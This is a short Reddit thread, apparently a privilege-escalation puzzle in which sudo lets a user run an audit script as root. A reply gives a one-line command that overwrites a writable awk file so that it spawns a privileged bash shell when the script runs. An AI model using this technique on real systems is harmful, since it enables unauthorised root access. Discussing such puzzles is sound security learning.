r/Hacking_Tutorials • u/RoseyCharmzz • 5d ago
Question Low-privilege shell on Ubuntu. Sudo lets you run /usr/local/bin/audit as root. Can you reach root?
[removed]
2
Upvotes
r/Hacking_Tutorials • u/RoseyCharmzz • 5d ago
[removed]
1
u/XeVoriax 4d ago
the awk might be the weak spot here, anyone tested writing to it?
1
u/bummyjabbz 4d ago
echo 'BEGIN { system("/bin/bash -p") }' > /opt/scripts/parse.awk
Then execute audit script